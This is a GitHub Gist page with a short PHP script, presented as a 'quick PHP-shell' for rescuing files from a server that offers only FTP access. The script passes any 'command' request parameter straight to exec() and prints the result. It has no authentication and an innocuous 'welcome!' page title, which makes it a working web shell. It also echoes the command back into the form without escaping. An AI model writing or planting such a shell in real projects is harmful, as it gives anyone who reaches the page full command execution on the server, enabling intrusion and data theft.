Created
February 5, 2013 11:40
-
-
Save hom3chuk/4713935 to your computer and use it in GitHub Desktop.
Quick PHP-shell for emergency server with No-SSH (i.e. FTP-only) evacuation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Created by JetBrains PhpStorm. | |
* User: chekan | |
* Date: 2/5/13 | |
* Time: 5:53 PM | |
* To change this template use File | Settings | File Templates. | |
*/ | |
if ( isset($_REQUEST['command']) ){ | |
$output = array(); | |
exec($_REQUEST['command'], $output); | |
} | |
?> | |
<html> | |
<head> | |
<title>welcome!</title> | |
</head> | |
<body> | |
<form action="" method="post"> | |
<input type="text" value="<?= (isset($_POST['command'])?$_POST['command'] : '') ?>" name="command" /> | |
<input type="submit" value="Submit" /> | |
</form> | |
<?php | |
if ( !empty($output) ){ | |
echo '<pre>' . implode("\n", $output) . '</pre>'; | |
} | |
?> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment